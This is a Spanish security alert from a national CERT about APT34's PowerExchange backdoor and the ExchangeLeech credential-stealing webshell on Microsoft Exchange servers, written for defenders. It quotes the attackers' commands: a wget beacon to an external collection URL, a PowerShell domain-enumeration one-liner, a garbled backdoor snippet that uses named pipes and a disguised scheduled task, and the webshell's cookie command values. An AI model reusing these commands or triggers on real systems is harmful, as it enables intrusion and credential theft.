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. DATOS GENERALES:
Clase de alerta: Incidente
Tipo de incidente: Malware
Nivel de riesgo: Alto
II. ALERTA

Se utilizé6 un nuevo malware basado en PowerShell denominado PowerExchange en
ataques vinculados a piratas informaticos estatales iranies APT34 a servidores de
Microsoft Exchange locales de puerta trasera.
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Figura 1.- lustraciones distintivas de Alerta Powershell
Fuente: BleepingComputer

l1II.INTRODUCCION

Después de infiltrarse en el servidor de correo a través de un correo electronico de
phishing que contenia un ejecutable malicioso archivado, los actores de la amenaza
implementaron un shell web llamado ExchangelLeech (observado por primera vez por el
equipo de respuesta a incidentes de Digital14 en 2020) que puede robar las credenciales
de los usuarios.
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El equipo de investigacibn de amenazas de FortiGuard Labs encontrd la puerta
trasera de PowerExchange en los sistemas comprometidos de una organizacién
gubernamental de los Emiratos Arabes Unidos.

En particular, el malware se comunica con su servidor de comando y control (C2) a
través de correos electrénicos enviados mediante la APl de Exchange Web Services
(EWS), enviando informacion robada y recibiendo comandos codificados en base64
a través de archivos adjuntos de texto a correos electrénicos con la "Actualizacién
de Microsoft Edge".

Al usar el servidor Exchange de la victima para el canal C2 permite que la puerta
trasera se mezcle con el trafico benigno, lo que garantiza que el actor de amenazas
pueda evitar facilmente casi todas las detecciones y remediaciones basadas en la
red dentro y fuera de la infraestructura de la organizacién objetivo.

La puerta trasera permite a sus operadores ejecutar comandos para entregar cargas

maliciosas adicionales en los servidores pirateados y filtrar los archivos
recolectados.

ﬁ @ |k ﬁg_mﬁ
ZIP EX|

Brouchure.zip Brouchure.exe autosave.exe wsdl.psl

On-Premise
Exchange Server

Figura 2.- Cadena de infeccion de PowerExchange (FortiGuard Labs)
Fuente: BleepingComputer

Durante la investigacion forense de la red, los investigadores también descubrieron
puntos finales con puertas traseras adicionales con varios otros implantes maliciosos.

Entre ellos, encontraron el shell web de ExchangelLeech, instalado como un archivo
llamado System.Web.ServiceAuthentication.dll que imitaba las convenciones legitimas
de nomenclatura de archivos de IIS.

ExchangeLeech recopila los nombres de usuario y las contrasefias de quienes inician
sesion en los servidores de Exchange comprometidos mediante la autenticacion bésica
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al monitorear el trafico HTTP de texto claro y capturar las credenciales de los datos del
formulario web o los encabezados HTTP.

Los atacantes pueden indicarle al shell web que envie el registro de credenciales a
través de pardmetros de cookies.

FortiGuard Labs vincul6 estos ataques con el grupo de pirateria respaldado por el estado
irani APT34 (también conocido como Oilrig) en funcién de las similitudes entre
PowerExchange y el malware TriFive que usaron para respaldar los servidores de las
organizaciones gubernamentales de Kuweiti.

IV. VECTOR DE ATAQUE:

Inicialmente, observamos un reconocimiento realizado por el actor de amenazas dentro
de la red de destino mediante la ejecucién de powershell.exe con comandos codificados
en base64 utilizando la variable cf:

1. Enviar una solicitud HTTP a pipedream, un servicio de alojamiento gratuito. wget
hxxps://enmckkbOtOv3.x.pipedream.net?n=my

2. Usando el cmdlet Test-NetConnection en una direccion IP interna para SMB. Test-
NetConnection <direccién IP interna> -puerto 445

3. Y de nuevo, tanto para SMB como para HTTPS en dos nombres de host internos
diferentes en la red de la victima. Test-NetConnection <nombre de la maquina> -port
445; Test-NetConnection <nombre de la maquina> -port 443;

4. Buscando anfitriones con acciones abiertas.

5. Usar un comando de PowerShell para enumerar todos los hosts del dominio:
$buscar=[System.DirectoryServices.DirectorySearcher]
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().GetDirectory
Entry());$search.Filter = '(&(objectclass=Computer))';foreach($ 0 in
($search.FindAll())){$o.Properties.name+$0.Properties.operatingsystem}

Desde este punto, el equipo de Respuesta a Incidentes de FortiGuard comenzé su
investigacion forense. Se encontraron varias herramientas, incluido PowerExchange, en
dispositivos adicionales que no tenian instalado FortiEDR.
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Los atacantes implementaron y usaron variantes de los médulos de PowerShell Invoke-
WMIExec e Invoke-SMBClient del proyecto Invoke-TheHash para realizar un
movimiento lateral a servidores como los controladores de dominio y los servidores
empresariales de Exchange.

En los servidores de Exchange, habia varios webshells. El actor de amenazas instalo
dos implantes: System.Web.Roles.dll y System.Web.Handler.dll. Ambos estan escritos
en C# y, aunque tienen una funcionalidad idéntica, el cédigo de este ultimo esta
ofuscado. Ambas variantes son iguales, hasta la letra y un webshell observado en un
estudio de caso anterior de explotacion del servidor Exchange que involucra CVE-2020-
0688 de 2020, incluida la clave de cifrado y los valores de sal. Ese informe también
describié una herramienta de puerta trasera de canalizacion con nombre de PowerShell
gque se usa con webshell. Este tipo de puerta trasera se encontré en los controladores
de dominio. El cédigo de la puerta trasera de la canalizacion se mejoré para ejecutarse
como un usuario del SISTEMA a través de una tarea programada si no esta ejecutando
dichos permisos.

§client = newy-object System.IO.Pipes. ~
Stream $next, $pipeName,

NamedPipeCl

§client.Connec ) 5
$writer = =«
(§client)

$writer.WriteLine ($path)

$reader = new-cbject System.IO.StreamReader
($client) ;
Sresp = $reader.ReadToEnd()
Sresp
} )
$ErrorActionPreference = $ErrorActionPreference = 'Stop'
ERehandleCommand) Invoke~-Command -ScriptBlock ‘1f (Se Username.endsWith('$')) (
$seript fkhandleCommand
) else |
ey {
*C:‘.am-;- = 'Google Updater*

fpSaction = New-ScheduledTaskAction -Execute
'‘cmd.exe' -Argument "/c Scmd"

fpsTrigger = New-ScheduledTaskTrigger -Once
-At 3am

f#SSetrings = New-ScheduledTaskSettingsSec

WpsTask = New-ScheduledTask -Action SA
~Trigger $Trigger -Settings $Sett

fpregister-Sche edTask -TaskNam

-Confirm:S$false

4} catch (
pnandleCommand
L 3
&)

}

e Invoke-Command -ScriptBlock $script

Figura 3: Comparacioén de los cambios de codigo de puerta trasera de tuberia.
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Otro webshell de la misma familia también estaba presente con una marca de tiempo
en el sistema de archivos que data de 2020. EI nombre del archivo es
System.Web.TransportClient.dll.

Ademas, se encontré un segundo tipo de webshell, ExchangelLeech, en los servidores
con el nombre de archivo System.Web.ServiceAuthentication.dll. También esta escrito
en C#. Excepto para la ejecucion de comandos, también puede recopilar las
credenciales de los usuarios que inician sesion en el servidor mediante texto simple y
autenticaciéon basica, que estd codificada en base64. El webshell obtiene las
instrucciones de su operador a través de los parametros de cookies: "k", "list" y "c", de
la siguiente manera:

Cookie “k” Value Function
PVskyVQFW Return the credential log from file names in
“11ist” variable
bTZyWxkUMuCHO Delete the credential logs from file names in
“1ist” variable
NUBxMQdgMs Run the command provided in “c” variable

Figura 4: Tabla de comandos compatibles con el webshell de ExchangeLeech.

Encontramos solo una mencién de este tipo de webshell en un informe de DFIR de 2020
sobre un incidente en los Emiratos Arabes Unidos en el que también se us6 el webshell
System.Web.TransportClient.dll. La muestra de ExchangelLeech de ese informe no esta
disponible. Aln asi, podriamos ver un cambio de cédigo en nuestra variante: los valores
"k" de las cookies se almacenan en un miembro de datos de clase en lugar de cadenas
en linea codificadas.

Ambas puertas traseras comparten sorprendentes puntos en comuan: estan escritas en
PowerShell, se activan mediante una tarea programada periddica y el canal C2
aprovecha el servidor de Exchange de la organizacién con la APl de EWS. Y aunque su
codigo es muy diferente, se especula que PowerExchange es una nueva y mejorada
forma de TriFive".

APT34 también utiliza correos electrénicos de phishing como vector de infeccion inicial
en sus ataques y anteriormente ha violado otras entidades de los EAU, segun el informe
de Fortiguard Labs.

V. IMPACTO:
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e Plataformas afectadas: Windows
e Usuarios afectados: agencias gubernamentales
e Impacto: robo de credenciales de dominio y ejecucion de cédigo
e Nivel de gravedad: alto

VI. INDICADORES DE COMPROMISO

El afio pasado, el laboratorio de investigacion de FortiEDR identific6 varios atagues
simultaneos contra una entidad gubernamental en los Emiratos Arabes Unidos. Algunas se
clasificaron como amenazas conocidas, como JS_POWMET y AdKoob, mientras que una
permanecio sin identificar.

Este caso aislado fue una puerta trasera personalizada basada en PowerShell que
llamamos PowerExchange. El protocolo C2 de esta puerta trasera se basa en el correo
electrénico, y el servidor C2 es el servidor de Microsoft Exchange de la victima. La
investigacion forense de la red reveld la puerta trasera en puntos finales adicionales y
muchos otros implantes en varios servidores. Un implante descubierto en los servidores de
Microsoft Exchange fue un shell web novedoso, denominado ExchangelLeech, debido a su
capacidad Unica para recolectar credenciales.

VIl. RECOMENDACIONES:
El EcCuCERT recomienda a su comunidad objetivo tomar en consideracion lo siguiente:

e Protecciones técnicas: dispositivos o0 aplicaciones que detecten y bloqueen estas
amenazas de forma inmediata sin ningln conocimiento previo o configuracion
especial, de preferencia utilizando un escaner previo a la ejecucion basado en
Machine Learning y un motor de prevencion posterior a la ejecucién para identificar
actividades maliciosas.

e Ejecucion del comando ExchangelLeech webshell bloqueada.

e Conciencia del usuario: debido a que el punto de entrada para este ataque fue un
archivo adjunto de correo electrénico malicioso, sugerimos que las organizaciones
también hagan que sus usuarios finales realicen capacitacion en temas de
ciberseguridad y amenazas en internet.

e Realizar ejercicios de simulacion de phishing del mundo real para ayudar a las
organizaciones a evaluar el conocimiento y la vigilancia de los usuarios ante las
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amenazas de phishing y para capacitar y reforzar las practicas adecuadas cuando
los usuarios se encuentran con ataques de phishing dirigidos.

o Compartir inteligencia sobre amenazas.

VIll. DESCARGO DE RESPONSABILIDAD

¢ Lainformacién en la presente alerta; se proporciona con fines informativos.

e Cualquier referencia a productos, procesos o servicios comerciales especificos, no
constituye respaldo o recomendacién por parte del ECUCERT a los mismos.

e La presente alerta no debe utilizarse con fines publicitarios o de patrocinio de
productos.
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